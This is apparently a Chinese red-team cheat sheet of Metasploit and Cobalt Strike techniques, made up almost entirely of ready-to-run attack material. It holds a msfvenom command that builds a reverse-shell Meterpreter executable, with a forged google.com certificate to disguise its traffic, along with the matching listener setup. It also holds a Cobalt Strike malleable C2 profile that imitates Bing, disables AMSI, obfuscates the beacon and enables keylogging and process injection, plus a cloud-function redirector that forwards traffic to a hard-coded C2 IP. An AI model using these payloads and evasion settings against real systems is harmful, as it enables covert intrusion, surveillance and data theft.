红队作业 | ​MSF和CS实战技巧汇总

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509  \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.80.134 lport=7777  PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem PayloadUUIDName=xyh -f exe -o payload.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.80.134
set lport 7777
set handlersslcert /home/thresh/MSF/cert_file/www.google.com.pem 
set stagerverifysslcert true
run

#!/bin/bash## Start Cobalt Strike Team Server#
# make pretty looking messages (thanks Carlos)function print_good () {echo -e "\x1B[01;32m[+]\x1B[0m $1"}
function print_error () {echo -e "\x1B[01;31m[-]\x1B[0m $1"}
function print_info () {echo -e "\x1B[01;34m[*]\x1B[0m $1"}
# check that we're r00tif [ $UID -ne 0 ]; thenprint_error "Superuser privileges are required to run the team server"exitfi
# check if java is available...if [ $(command -v java) ]; thentrueelseprint_error "java is not in \$PATH"echo "    is Java installed?"exitfi
# check if keytool is available...if [ $(command -v keytool) ]; thentrueelseprint_error "keytool is not in \$PATH"echo "    install the Java Developer Kit"exitfi
# generate a certificate# naturally you're welcome to replace this step with your own permanent certificate.# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store# is printed so users may have a chance to verify they're not being owned.if [ -e ./cobaltstrike.store ]; thenprint_info "Will use existing X509 certificate and keystore (for SSL)"elseprint_info "Generating X509 certificate and keystore (for SSL)"keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"fi
# start the team server.java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*

[object Object]

┌──(root💀thresh-kali)-[/home/thresh/CS/cs4.0汉化版/cs4.0原版]└─# keytool -list -v -keystore cobaltstrike.store                                                                                   1 ⨯输入密钥库口令:  密钥库类型: PKCS12密钥库提供方: SUN
您的密钥库包含 1 个条目
别名: cobaltstrike创建日期: 2022年3月23日条目类型: PrivateKeyEntry证书链长度: 1证书[1]:所有者: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth发布者: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth序列号: 8782b46生效时间: Wed Mar 23 10:23:56 CST 2022, 失效时间: Tue Jun 21 10:23:56 CST 2022证书指纹:   SHA1: 25:21:5A:E8:88:47:F4:B1:6F:8E:CC:66:6B:C9:65:08:0D:E2:5F:90   SHA256: F3:06:63:BA:AF:6F:74:93:85:7E:A9:76:56:6F:2A:C8:5F:B8:ED:8F:C0:9B:52:0F:6D:B3:84:FC:4A:1D:80:56签名算法名称: SHA256withRSA主体公共密钥算法: 2048 位 RSA 密钥版本: 3
扩展: 
#1: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 40 6E 18 96 5A 07 B2 1A   69 2B E6 00 F9 E6 CF D4  @n..Z...i+......0010: F1 0D DC CF                                        ....]]


**************************************************************************************

keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware, L=Somewhere,ST=Cyberspace, C=CN"

# CobaltStrike 4.0+ Test Profile## References# * https://www.cobaltstrike.com/help-malleable-c2# * https://www.cobaltstrike.com/help-malleable-postex## Author: lengyi@HongHuLab# Github: https://github.com/lengjibo#### Global Option Block# 名称set sample_name "bing.profile"; # Profile name# 回传时间set sleeptime "30000"; # Sleep time for the beacon callback# set sleeptime "<60000>"; # 1 Minute# set sleeptime "<70000>";# set sleeptime "<80000>";set jitter "50"; # Jitter to set %. In this example, the beacon will callbackbetween 15 and 30 sec jitter
# DNS beacon# 设置DNSdns-beacon {# Options moved into 'dns-beacon' group in 4.3:  set dns_idle "114.114.114.114";  set dns_max_txt "192";  set dns_sleep "1";  set dns_ttl "5";  set maxdns "200";  set dns_stager_prepend "doc-stg-prepend";  set dns_stager_subhost "doc-stg-sh.";  # DNS subhost override options added in 4.3:  set beacon "doc.bc.";  set get_A "doc.1a.";  set get_AAAA "doc.4a.";  set get_TXT "doc.tx.";  set put_metadata "doc.md.";  set put_output "doc.po.";  set ns_response "zero";}#set dns_idle "8.8.4.4";#set dns_sleep "0";#set maxdns "235";set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS.Required by stagers.set useragent "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3;.NET CLR 3.1.40767; Trident/6.0; en-IN)"; # User-Agent### Self-Signed Certificate HTTPS# 设置https证书https-certificate {  set CN "us";  set O "us";  set C "us";  set L "us";  set OU "us";  set ST "us";  set validity "365";}### Valid SSL Certificate HTTPShttps-certificate {  set keystore "domain.store";  set password "Tz8@CxnJcAN3DM^D";}### Code Signing Certificatecode-signer {  set keystore "server.jks";  set password "Tz8@CxnJcAN3DM^D";  set alias "server";}### HTTP/S Global Response Headerhttp-config {  set headers "Server, Cache-Control, Connection, X-Powered-By"; # HTTP header  header "Server" "Microsoft-IIS/8.0";  header "Cache-Control" "max-age=1";  header "Connection" "keep-alive";  header "X-Powered-By" "ASP.NET";  set trust_x_forwarded_for "false"; # "true" if the team server is behind an HTTP redirector}### SMB Beaconset pipename "win_svc";set pipename_stager "win_svc2";### TCP Beaconset tcp_port "1337"; # TCP beacon listen port### HTTP-GEThttp-get {  set uri "/search/";  client {    header "Host" "www.bing.com";    header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";    header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";  metadata {    base64url;    parameter "q";  }  parameter "go" "Search";  parameter "qs" "bs";  parameter "form" "QBRE";}  server {    header "Cache-Control" "private, max-age=0";    header "Content-Type" "text/html; charset=utf-8";    header "Vary" "Accept-Encoding";    header "Server" "Microsoft-IIS/8.5";    header "Connection" "close";    output {      netbios;      prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\"xmlns=\"http://www.w3.org/1999/xhtml\"xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><metacontent=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><linkhref=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\"rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\"title=\"RSS\" type=\"application/rss+xml\" /><linkhref=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><scripttype=\"text/javascript\">//<![CDATA[";append "G={ST:(si_ST?si_ST:new Date),Mkt:\"enUS\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAF**896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" };_G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";functionsi_T(a){ if(document.images){_G.GPImg=newImage;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><styletype=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";      print;}}}### HTTP-POSThttp-post {  set uri "/Search/";  set verb "GET";  client {    header "Host" "www.bing.com";    header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";    header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";  output {  base64url;  parameter "q";  }  parameter "go" "Search";  parameter "qs" "bs";  id {    base64url;    parameter "form";  }}server {  header "Cache-Control" "private, max-age=0";  header "Content-Type" "text/html; charset=utf-8";  header "Vary" "Accept-Encoding";  header "Server" "Microsoft-IIS/8.5";  header "Connection" "close";  output {    netbios;    prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\"xmlns=\"http://www.w3.org/1999/xhtml\"xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><metacontent=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><linkhref=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\"rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\"title=\"RSS\" type=\"application/rss+xml\" /><linkhref=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><scripttype=\"text/javascript\">//<![CDATA[";append "G={ST:(si_ST?si_ST:new Date),Mkt:\"enUS\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAF**896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" };_G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";functionsi_T(a){ if(document.images){_G.GPImg=newImage;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><styletype=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";    print;}}}### HTTP-stagerhttp-stager {  set uri_x86 "/jquery-3.3.1.slim.min.js";  set uri_x64 "/jquery-3.3.2.slim.min.js";  server {    header "Cache-Control" "private, max-age=0";    header "Content-Type" "text/html; charset=utf-8";    header "Vary" "Accept-Encoding";    header "Server" "Microsoft-IIS/8.5";    header "Connection" "close";    output {      prepend "user=";      append ".asp";      print;    }  }}### Stagestage {  set checksum "0";  set image_size_x86 "559966";  set image_size_x64 "559966";  set entry_point "38807";  set rich_header"\xcd\x11\x8f\xf8\x89\x70\xe1\xab\x89\x70\xe1\xab\x89\x70\xe1\xab\x3d\xec\x10\xab\x9c\x70\xe1\xab\x3d\xec\x12\xab\x0a\x70\xe1\xab\x3d\xec\x13\xab\x90\x70\xe1\xab\xea\x2d\xe2\xaa\x9b\x70\xe1\xab\xea\x2d\xe4\xaa\xae\x70\xe1\xab\xea\x2d\xe5\xaa\x9b\x70\xe1\xab\x80\x08\x72\xab\x82\x70\xe1\xab\x89\x70\xe0\xab\x03\x70\xe1\xab\xe7\x2d\xe4\xaa\x80\x70\xe1\xab\xe7\x2d\x1e\xab\x88\x70\xe1\xab\x89\x70\x76\xab\x88\x70\xe1\xab\xe7\x2d\xe3\xaa\x88\x70\xe1\xab\x52\x69\x63\x68\x89\x70\xe1\xab\x00\x00\x00\x00\x00\x00\x00\x00";set userwx "false";# set compile_time "14 Jul 2009 8:14:00";set image_size_x86 "512000";set image_size_x64 "512000";set obfuscate "true";transform-x86 {prepend "\x90\x90";strrep "ReflectiveLoader" "DoLegitStuff";}transform-x64 {prepend "\x90\x90";strrep "ReflectiveLoader" "DoLegitStuff";}stringw "I am not Beacon";}### Post-Exploitationpost-ex {# control the temporary process we spawn toset spawnto_x86 "%windir%\\syswow64\\WerFault.exe";set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";# change the permissions and content of our post-ex DLLsset obfuscate "true";# change our post-ex output named pipe names...set pipename "msrpc_####, win\\msrpc_##";# pass key function pointers from Beacon to its child jobsset smartinject "true";# disable AMSI in powerpick, execute-assembly, and psinjectset amsi_disable "true";#The thread_hint option allows multi-threaded post-ex DLLs to spawn# threads with a spoofed start address. Specify the thread hint as# “module!function+0x##” to specify the start address to spoof.# The optional 0x## part is an offset added to the start address.# set thread_hint "....TODO:FIXME"# options are: GetAsyncKeyState (def) or SetWindowsHookExset keylogger "GetAsyncKeyState";}### Process Injectprocess-inject {  # set how memory is allocated in a remote process  # VirtualAllocEx or NtMapViewOfSection. The  # NtMapViewOfSection option is for same-architecture injection only.  # VirtualAllocEx is always used for cross-arch memory allocations.  set allocator "VirtualAllocEx";  # shape the memory characteristics and content  set min_alloc "16384";  set startrwx "true";  set userwx "false";  transform-x86 {    prepend "\x90\x90";  }  transform-x64 {    # transform x64 injected content  }  # determine how to execute the injected code  execute {    CreateThread "ntdll.dll!RtlUserThreadStart";    SetThreadContext;    RtlCreateUserThread;  }}

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context): 
   C2='http://101.34.168.194' # s设置ip可以使用 HTTP、HTTPS~下角标~    
   path=event['path']    
   headers=event['headers']    
   print(event)    
   if event['httpMethod'] == 'GET' :     
     resp=requests.get(C2+path,headers=headers,verify=False)    
   else:      
     resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)        
     print(resp.headers)        
     print(resp.content)    
   response={      
     "isBase64Encoded": True,        
     "statusCode": resp.status_code,        
     "headers": dict(resp.headers),        
     "body": str(base64.b64encode(resp.content))[2:-1]    
   }    
   return response

search payload_inject
use 0  #默认是 exploit/windows/local/payload_inject，可根据需要进行修改

use exploit/windows/local/payload_inject

set payload windows/meterpreter/reverse_http

set lhost 0.0.0.0

set lport 81

run

use exploit/multi/handler
set windows/x64/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 7777
exploit